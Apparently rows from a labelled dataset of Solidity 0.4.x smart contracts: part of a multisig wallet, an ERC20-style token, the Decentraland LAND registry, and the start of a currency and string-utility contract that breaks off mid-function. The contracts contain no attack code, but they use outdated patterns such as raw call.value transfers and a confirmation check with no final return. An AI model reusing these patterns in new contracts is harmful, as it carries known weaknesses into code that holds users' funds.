event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(!(ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0));
_;
}
function() public payable {
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
function NamiMultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!(isOwner[_owners[i]] || _owners[i] == 0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++) {
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++) {
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
transactions[transactionId].executed = true;
if (transactions[transactionId].destination.call.value(transactions[transactionId].value)(transactions[transactionId].data)) {
Execution(transactionId);
} else {
ExecutionFailure(transactionId);
transactions[transactionId].executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
}
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++) {
if (pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) {
_confirmations[i] = confirmationsTemp[i];
}
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++) {
if (pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++) {
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
} | 1 | 2,784 |
pragma solidity ^ 0.4 .9;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract NLEURO {
using SafeMath
for uint256;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
uint256 public decimals;
address public owner;
bytes32 public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
function NLEURO() {
totalSupply = 100000000;
symbol = 'NLE';
owner = 0x67ecba62aa79662dfe4732bae96a8e1125d117fd;
balances[owner] = totalSupply;
decimals = 0;
}
function balanceOf(address _owner) constant returns(uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) returns(bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function() {
revert();
}
} | 1 | 2,639 |
pragma solidity ^0.4.24;
contract IEstateRegistry {
function mint(address to, string metadata) external returns (uint256);
event CreateEstate(
address indexed _owner,
uint256 indexed _estateId,
string _data
);
event AddLand(
uint256 indexed _estateId,
uint256 indexed _landId
);
event RemoveLand(
uint256 indexed _estateId,
uint256 indexed _landId,
address indexed _destinatary
);
event Update(
uint256 indexed _assetId,
address indexed _holder,
address indexed _operator,
string _data
);
event UpdateOperator(
uint256 indexed _estateId,
address indexed _operator
);
event SetLANDRegistry(
address indexed _registry
);
}
contract LANDStorage {
mapping (address => uint) public latestPing;
uint256 constant clearLow = 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000;
uint256 constant clearHigh = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffffff;
uint256 constant factor = 0x100000000000000000000000000000000;
mapping (address => bool) public authorizedDeploy;
mapping (uint256 => address) public updateOperator;
IEstateRegistry public estateRegistry;
}
contract OwnableStorage {
address public owner;
constructor() internal {
owner = msg.sender;
}
}
contract ProxyStorage {
address public currentContract;
address public proxyOwner;
}
contract AssetRegistryStorage {
string internal _name;
string internal _symbol;
string internal _description;
uint256 internal _count;
mapping(address => uint256[]) internal _assetsOf;
mapping(uint256 => address) internal _holderOf;
mapping(uint256 => uint256) internal _indexOfAsset;
mapping(uint256 => string) internal _assetData;
mapping(address => mapping(address => bool)) internal _operators;
mapping(uint256 => address) internal _approval;
}
contract Storage is ProxyStorage, OwnableStorage, AssetRegistryStorage, LANDStorage {
}
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract IMetadataHolder is ERC165 {
function getMetadata(uint256 ) external view returns (string);
}
contract IApplication {
function initialize(bytes data) public;
}
contract Ownable is Storage {
event OwnerUpdate(address _prevOwner, address _newOwner);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner, "Cannot transfer to yourself");
owner = _newOwner;
}
}
interface ILANDRegistry {
function assignNewParcel(int x, int y, address beneficiary) external;
function assignMultipleParcels(int[] x, int[] y, address beneficiary) external;
function ping() external;
function encodeTokenId(int x, int y) external pure returns (uint256);
function decodeTokenId(uint value) external pure returns (int, int);
function exists(int x, int y) external view returns (bool);
function ownerOfLand(int x, int y) external view returns (address);
function ownerOfLandMany(int[] x, int[] y) external view returns (address[]);
function landOf(address owner) external view returns (int[], int[]);
function landData(int x, int y) external view returns (string);
function transferLand(int x, int y, address to) external;
function transferManyLand(int[] x, int[] y, address to) external;
function updateLandData(int x, int y, string data) external;
function updateManyLandData(int[] x, int[] y, string data) external;
event Update(
uint256 indexed assetId,
address indexed holder,
address indexed operator,
string data
);
event UpdateOperator(
uint256 indexed assetId,
address indexed operator
);
}
interface IERC721Base {
function totalSupply() external view returns (uint256);
function ownerOf(uint256 assetId) external view returns (address);
function balanceOf(address holder) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 assetId) external;
function safeTransferFrom(address from, address to, uint256 assetId, bytes userData) external;
function transferFrom(address from, address to, uint256 assetId) external;
function approve(address operator, uint256 assetId) external;
function setApprovalForAll(address operator, bool authorized) external;
function getApprovedAddress(uint256 assetId) external view returns (address);
function isApprovedForAll(address operator, address assetOwner) external view returns (bool);
function isAuthorized(address operator, uint256 assetId) external view returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 indexed assetId,
address operator,
bytes userData
);
event Transfer(
address indexed from,
address indexed to,
uint256 indexed assetId
);
event ApprovalForAll(
address indexed operator,
address indexed holder,
bool authorized
);
event Approval(
address indexed owner,
address indexed operator,
uint256 indexed assetId
);
}
interface IERC721Receiver {
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _userData
) external returns (bytes4);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC721Base is AssetRegistryStorage, IERC721Base, ERC165 {
using SafeMath for uint256;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
function totalSupply() external view returns (uint256) {
return _totalSupply();
}
function _totalSupply() internal view returns (uint256) {
return _count;
}
function ownerOf(uint256 assetId) external view returns (address) {
return _ownerOf(assetId);
}
function _ownerOf(uint256 assetId) internal view returns (address) {
return _holderOf[assetId];
}
function balanceOf(address owner) external view returns (uint256) {
return _balanceOf(owner);
}
function _balanceOf(address owner) internal view returns (uint256) {
return _assetsOf[owner].length;
}
function isApprovedForAll(address assetHolder, address operator)
external view returns (bool)
{
return _isApprovedForAll(assetHolder, operator);
}
function _isApprovedForAll(address assetHolder, address operator)
internal view returns (bool)
{
return _operators[assetHolder][operator];
}
function getApproved(uint256 assetId) external view returns (address) {
return _getApprovedAddress(assetId);
}
function getApprovedAddress(uint256 assetId) external view returns (address) {
return _getApprovedAddress(assetId);
}
function _getApprovedAddress(uint256 assetId) internal view returns (address) {
return _approval[assetId];
}
function isAuthorized(address operator, uint256 assetId) external view returns (bool) {
return _isAuthorized(operator, assetId);
}
function _isAuthorized(address operator, uint256 assetId) internal view returns (bool)
{
require(operator != 0);
address owner = _ownerOf(assetId);
if (operator == owner) {
return true;
}
return _isApprovedForAll(owner, operator) || _getApprovedAddress(assetId) == operator;
}
function setApprovalForAll(address operator, bool authorized) external {
return _setApprovalForAll(operator, authorized);
}
function _setApprovalForAll(address operator, bool authorized) internal {
if (authorized) {
require(!_isApprovedForAll(msg.sender, operator));
_addAuthorization(operator, msg.sender);
} else {
require(_isApprovedForAll(msg.sender, operator));
_clearAuthorization(operator, msg.sender);
}
emit ApprovalForAll(msg.sender, operator, authorized);
}
function approve(address operator, uint256 assetId) external {
address holder = _ownerOf(assetId);
require(msg.sender == holder || _isApprovedForAll(msg.sender, holder));
require(operator != holder);
if (_getApprovedAddress(assetId) != operator) {
_approval[assetId] = operator;
emit Approval(holder, operator, assetId);
}
}
function _addAuthorization(address operator, address holder) private {
_operators[holder][operator] = true;
}
function _clearAuthorization(address operator, address holder) private {
_operators[holder][operator] = false;
}
function _addAssetTo(address to, uint256 assetId) internal {
_holderOf[assetId] = to;
uint256 length = _balanceOf(to);
_assetsOf[to].push(assetId);
_indexOfAsset[assetId] = length;
_count = _count.add(1);
}
function _removeAssetFrom(address from, uint256 assetId) internal {
uint256 assetIndex = _indexOfAsset[assetId];
uint256 lastAssetIndex = _balanceOf(from).sub(1);
uint256 lastAssetId = _assetsOf[from][lastAssetIndex];
_holderOf[assetId] = 0;
_assetsOf[from][assetIndex] = lastAssetId;
_assetsOf[from][lastAssetIndex] = 0;
_assetsOf[from].length--;
if (_assetsOf[from].length == 0) {
delete _assetsOf[from];
}
_indexOfAsset[assetId] = 0;
_indexOfAsset[lastAssetId] = assetIndex;
_count = _count.sub(1);
}
function _clearApproval(address holder, uint256 assetId) internal {
if (_ownerOf(assetId) == holder && _approval[assetId] != 0) {
_approval[assetId] = 0;
emit Approval(holder, 0, assetId);
}
}
function _generate(uint256 assetId, address beneficiary) internal {
require(_holderOf[assetId] == 0);
_addAssetTo(beneficiary, assetId);
emit Transfer(0, beneficiary, assetId);
}
function _destroy(uint256 assetId) internal {
address holder = _holderOf[assetId];
require(holder != 0);
_removeAssetFrom(holder, assetId);
emit Transfer(holder, 0, assetId);
}
modifier onlyHolder(uint256 assetId) {
require(_ownerOf(assetId) == msg.sender);
_;
}
modifier onlyAuthorized(uint256 assetId) {
require(_isAuthorized(msg.sender, assetId));
_;
}
modifier isCurrentOwner(address from, uint256 assetId) {
require(_ownerOf(assetId) == from);
_;
}
modifier isDestinataryDefined(address destinatary) {
require(destinatary != 0);
_;
}
modifier destinataryIsNotHolder(uint256 assetId, address to) {
require(_ownerOf(assetId) != to);
_;
}
function safeTransferFrom(address from, address to, uint256 assetId) external {
return _doTransferFrom(from, to, assetId, '', true);
}
function safeTransferFrom(address from, address to, uint256 assetId, bytes userData) external {
return _doTransferFrom(from, to, assetId, userData, true);
}
function transferFrom(address from, address to, uint256 assetId) external {
return _doTransferFrom(from, to, assetId, '', false);
}
function _doTransferFrom(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
onlyAuthorized(assetId)
internal
{
_moveToken(from, to, assetId, userData, doCheck);
}
function _moveToken(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
isDestinataryDefined(to)
destinataryIsNotHolder(assetId, to)
isCurrentOwner(from, assetId)
internal
{
address holder = _holderOf[assetId];
_removeAssetFrom(holder, assetId);
_clearApproval(holder, assetId);
_addAssetTo(to, assetId);
if (doCheck && _isContract(to)) {
require(
IERC721Receiver(to).onERC721Received(
msg.sender, holder, assetId, userData
) == ERC721_RECEIVED
);
}
emit Transfer(holder, to, assetId);
}
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
if (_interfaceID == 0xffffffff) {
return false;
}
return (_interfaceID == 0x01ffc9a7) || (_interfaceID == 0x7c0633c6);
}
function _isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract IERC721Enumerable {
function tokensOf(address owner) external view returns (uint256[]);
function tokenOfOwnerByIndex(
address owner, uint256 index
) external view returns (uint256 tokenId);
}
contract ERC721Enumerable is AssetRegistryStorage, IERC721Enumerable {
function tokensOf(address owner) external view returns (uint256[]) {
return _assetsOf[owner];
}
function tokenOfOwnerByIndex(
address owner, uint256 index
)
external
view
returns (uint256 assetId)
{
require(index < _assetsOf[owner].length);
require(index < (1<<127));
return _assetsOf[owner][index];
}
}
contract IERC721Metadata {
function name() external view returns (string);
function symbol() external view returns (string);
function description() external view returns (string);
function tokenMetadata(uint256 assetId) external view returns (string);
}
contract ERC721Metadata is AssetRegistryStorage, IERC721Metadata {
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function description() external view returns (string) {
return _description;
}
function tokenMetadata(uint256 assetId) external view returns (string) {
return _assetData[assetId];
}
function _update(uint256 assetId, string data) internal {
_assetData[assetId] = data;
}
}
contract FullAssetRegistry is ERC721Base, ERC721Enumerable, ERC721Metadata {
constructor() public {
}
function exists(uint256 assetId) external view returns (bool) {
return _exists(assetId);
}
function _exists(uint256 assetId) internal view returns (bool) {
return _holderOf[assetId] != 0;
}
function decimals() external pure returns (uint256) {
return 0;
}
}
contract LANDRegistry is Storage, Ownable, FullAssetRegistry, ILANDRegistry {
bytes4 constant public GET_METADATA = bytes4(keccak256("getMetadata(uint256)"));
function initialize(bytes) external {
_name = "Decentraland LAND";
_symbol = "LAND";
_description = "Contract that stores the Decentraland LAND registry";
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner, "This function can only be called by the proxy owner");
_;
}
modifier onlyOwnerOf(uint256 assetId) {
require(
msg.sender == _ownerOf(assetId),
"This function can only be called by the owner of the asset"
);
_;
}
modifier onlyUpdateAuthorized(uint256 tokenId) {
require(
msg.sender == _ownerOf(tokenId) || _isUpdateAuthorized(msg.sender, tokenId),
"msg.sender is not authorized to update"
);
_;
}
function isUpdateAuthorized(address operator, uint256 assetId) external view returns (bool) {
return _isUpdateAuthorized(operator, assetId);
}
function _isUpdateAuthorized(address operator, uint256 assetId) internal view returns (bool) {
return operator == _ownerOf(assetId) || updateOperator[assetId] == operator;
}
function authorizeDeploy(address beneficiary) external onlyProxyOwner {
authorizedDeploy[beneficiary] = true;
}
function forbidDeploy(address beneficiary) external onlyProxyOwner {
authorizedDeploy[beneficiary] = false;
}
function assignNewParcel(int x, int y, address beneficiary) external onlyProxyOwner {
_generate(_encodeTokenId(x, y), beneficiary);
}
function assignMultipleParcels(int[] x, int[] y, address beneficiary) external onlyProxyOwner {
for (uint i = 0; i < x.length; i++) {
_generate(_encodeTokenId(x[i], y[i]), beneficiary);
}
}
function ping() external {
latestPing[msg.sender] = block.timestamp;
}
function setLatestToNow(address user) external {
require(msg.sender == proxyOwner || _isApprovedForAll(msg.sender, user), "Unauthorized user");
latestPing[user] = block.timestamp;
}
function encodeTokenId(int x, int y) external pure returns (uint) {
return _encodeTokenId(x, y);
}
function _encodeTokenId(int x, int y) internal pure returns (uint result) {
require(
-1000000 < x && x < 1000000 && -1000000 < y && y < 1000000,
"The coordinates should be inside bounds"
);
return _unsafeEncodeTokenId(x, y);
}
function _unsafeEncodeTokenId(int x, int y) internal pure returns (uint) {
return ((uint(x) * factor) & clearLow) | (uint(y) & clearHigh);
}
function decodeTokenId(uint value) external pure returns (int, int) {
return _decodeTokenId(value);
}
function _unsafeDecodeTokenId(uint value) internal pure returns (int x, int y) {
x = expandNegative128BitCast((value & clearLow) >> 128);
y = expandNegative128BitCast(value & clearHigh);
}
function _decodeTokenId(uint value) internal pure returns (int x, int y) {
(x, y) = _unsafeDecodeTokenId(value);
require(
-1000000 < x && x < 1000000 && -1000000 < y && y < 1000000,
"The coordinates should be inside bounds"
);
}
function expandNegative128BitCast(uint value) internal pure returns (int) {
if (value & (1<<127) != 0) {
return int(value | clearLow);
}
return int(value);
}
function exists(int x, int y) external view returns (bool) {
return _exists(x, y);
}
function _exists(int x, int y) internal view returns (bool) {
return _exists(_encodeTokenId(x, y));
}
function ownerOfLand(int x, int y) external view returns (address) {
return _ownerOfLand(x, y);
}
function _ownerOfLand(int x, int y) internal view returns (address) {
return _ownerOf(_encodeTokenId(x, y));
}
function ownerOfLandMany(int[] x, int[] y) external view returns (address[]) {
require(x.length > 0, "You should supply at least one coordinate");
require(x.length == y.length, "The coordinates should have the same length");
address[] memory addrs = new address[](x.length);
for (uint i = 0; i < x.length; i++) {
addrs[i] = _ownerOfLand(x[i], y[i]);
}
return addrs;
}
function landOf(address owner) external view returns (int[], int[]) {
uint256 len = _assetsOf[owner].length;
int[] memory x = new int[](len);
int[] memory y = new int[](len);
int assetX;
int assetY;
for (uint i = 0; i < len; i++) {
(assetX, assetY) = _decodeTokenId(_assetsOf[owner][i]);
x[i] = assetX;
y[i] = assetY;
}
return (x, y);
}
function tokenMetadata(uint256 assetId) external view returns (string) {
return _tokenMetadata(assetId);
}
function _tokenMetadata(uint256 assetId) internal view returns (string) {
address _owner = _ownerOf(assetId);
if (_isContract(_owner) && _owner != address(estateRegistry)) {
if ((ERC165(_owner)).supportsInterface(GET_METADATA)) {
return IMetadataHolder(_owner).getMetadata(assetId);
}
}
return _assetData[assetId];
}
function landData(int x, int y) external view returns (string) {
return _tokenMetadata(_encodeTokenId(x, y));
}
function transferFrom(address from, address to, uint256 assetId) external {
require(to != address(estateRegistry), "EstateRegistry unsafe transfers are not allowed");
return _doTransferFrom(
from,
to,
assetId,
"",
false
);
}
function transferLand(int x, int y, address to) external {
uint256 tokenId = _encodeTokenId(x, y);
_doTransferFrom(
_ownerOf(tokenId),
to,
tokenId,
"",
true
);
}
function transferManyLand(int[] x, int[] y, address to) external {
require(x.length > 0, "You should supply at least one coordinate");
require(x.length == y.length, "The coordinates should have the same length");
for (uint i = 0; i < x.length; i++) {
uint256 tokenId = _encodeTokenId(x[i], y[i]);
_doTransferFrom(
_ownerOf(tokenId),
to,
tokenId,
"",
true
);
}
}
function transferLandToEstate(int x, int y, uint256 estateId) external {
uint256 tokenId = _encodeTokenId(x, y);
_doTransferFrom(
_ownerOf(tokenId),
address(estateRegistry),
tokenId,
toBytes(estateId),
true
);
}
function transferManyLandToEstate(int[] x, int[] y, uint256 estateId) external {
require(x.length > 0, "You should supply at least one coordinate");
require(x.length == y.length, "The coordinates should have the same length");
for (uint i = 0; i < x.length; i++) {
uint256 tokenId = _encodeTokenId(x[i], y[i]);
_doTransferFrom(
_ownerOf(tokenId),
address(estateRegistry),
tokenId,
toBytes(estateId),
true
);
}
}
function setUpdateOperator(uint256 assetId, address operator) external onlyOwnerOf(assetId) {
updateOperator[assetId] = operator;
emit UpdateOperator(assetId, operator);
}
event EstateRegistrySet(address indexed registry);
function setEstateRegistry(address registry) external onlyProxyOwner {
estateRegistry = IEstateRegistry(registry);
emit EstateRegistrySet(registry);
}
function createEstate(int[] x, int[] y, address beneficiary) external returns (uint256) {
return _createEstate(x, y, beneficiary, "");
}
function createEstateWithMetadata(
int[] x,
int[] y,
address beneficiary,
string metadata
)
external
returns (uint256)
{
return _createEstate(x, y, beneficiary, metadata);
}
function _createEstate(
int[] x,
int[] y,
address beneficiary,
string metadata
)
internal
returns (uint256)
{
require(x.length > 0, "You should supply at least one coordinate");
require(x.length == y.length, "The coordinates should have the same length");
require(address(estateRegistry) != 0, "The Estate registry should be set");
uint256 estateTokenId = estateRegistry.mint(beneficiary, metadata);
bytes memory estateTokenIdBytes = toBytes(estateTokenId);
for (uint i = 0; i < x.length; i++) {
uint256 tokenId = _encodeTokenId(x[i], y[i]);
_doTransferFrom(
_ownerOf(tokenId),
address(estateRegistry),
tokenId,
estateTokenIdBytes,
true
);
}
return estateTokenId;
}
function toBytes(uint256 x) internal pure returns (bytes b) {
b = new bytes(32);
assembly { mstore(add(b, 32), x) }
}
function updateLandData(
int x,
int y,
string data
)
external
onlyUpdateAuthorized(_encodeTokenId(x, y))
{
return _updateLandData(x, y, data);
}
function _updateLandData(
int x,
int y,
string data
)
internal
onlyUpdateAuthorized(_encodeTokenId(x, y))
{
uint256 assetId = _encodeTokenId(x, y);
address owner = _holderOf[assetId];
_update(assetId, data);
emit Update(
assetId,
owner,
msg.sender,
data
);
}
function updateManyLandData(int[] x, int[] y, string data) external {
require(x.length > 0, "You should supply at least one coordinate");
require(x.length == y.length, "The coordinates should have the same length");
for (uint i = 0; i < x.length; i++) {
_updateLandData(x[i], y[i], data);
}
}
function _doTransferFrom(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
internal
{
updateOperator[assetId] = address(0);
super._doTransferFrom(
from,
to,
assetId,
userData,
doCheck
);
}
function _isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
} | 1 | 2,884 |
pragma solidity ^0.4.24;
contract ICurrency {
function getUsdAbsRaisedInCents() external view returns(uint);
function getCoinRaisedBonusInWei() external view returns(uint);
function getCoinRaisedInWei() public view returns(uint);
function getUsdFromETH(uint ethWei) public view returns(uint);
function getTokenFromETH(uint ethWei) public view returns(uint);
function getCurrencyRate(string _ticker) public view returns(uint);
function addPay(string _ticker, uint value, uint usdAmount, uint coinRaised, uint coinRaisedBonus) public returns(bool);
function checkTickerExists(string ticker) public view returns(bool);
function getUsdFromCurrency(string ticker, uint value) public view returns(uint);
function getUsdFromCurrency(string ticker, uint value, uint usd) public view returns(uint);
function getUsdFromCurrency(bytes32 ticker, uint value) public view returns(uint);
function getUsdFromCurrency(bytes32 ticker, uint value, uint usd) public view returns(uint);
function getTokenWeiFromUSD(uint usdCents) public view returns(uint);
function editPay(bytes32 ticker, uint currencyValue, uint currencyUsdRaised, uint _usdAbsRaisedInCents, uint _coinRaisedInWei, uint _coinRaisedBonusInWei) public returns(bool);
function getCurrencyList(string ticker) public view returns(bool active, uint usd, uint devision, uint raised, uint usdRaised, uint usdRaisedExchangeRate, uint counter, uint lastUpdate);
function getCurrencyList(bytes32 ticker) public view returns(bool active, uint usd, uint devision, uint raised, uint usdRaised, uint usdRaisedExchangeRate, uint counter, uint lastUpdate);
function getTotalUsdRaisedInCents() public view returns(uint);
function getAllCurrencyTicker() public view returns(string);
function getCoinUSDRate() public view returns(uint);
function addPreSaleBonus(uint bonusToken) public returns(bool);
function editPreSaleBonus(uint beforeBonus, uint afterBonus) public returns(bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract String {
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
bytes memory abcde = bytes(new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length));
uint k = 0;
uint i;
for (i = 0; i < _ba.length; i++) {
abcde[k++] = _ba[i];
}
for (i = 0; i < _bb.length; i++) {
abcde[k++] = _bb[i];
}
for (i = 0; i < _bc.length; i++) {
abcde[k++] = _bc[i];
}
for (i = 0; i < _bd.length; i++) {
abcde[k++] = _bd[i];
}
for (i = 0; i < _be.length; i++) {
abcde[k++] = _be[i];
}
return string(abcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns(string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns(string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns(string) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint i) internal pure returns(string) {
if (i == 0) {
return "0";
}
uint j = i;
uint length;
while (j != 0) {
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0) {
bstr[k--] = byte(uint8(48 + i % 10));
i /= 10;
}
return string(bstr);
}
function stringsEqual(string memory _a, string memory _b) internal pure returns(bool) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
if (a.length != b.length)
return false;
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
return false;
}
}
return true;
}
function stringToBytes32(string memory source) internal pure returns(bytes32 result) {
bytes memory _tmp = bytes(source);
if (_tmp.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function bytes32ToString(bytes32 x) internal pure returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
uint j;
for (j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function inArray(string[] _array, string _value) internal pure returns(bool result) {
if (_array.length == 0 || bytes(_value).length == 0) {
return false;
}
result = false;
for (uint i = 0; i < _array.length; i++) {
if (stringsEqual(_array[i],_value)) {
result = true;
return true;
}
}
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
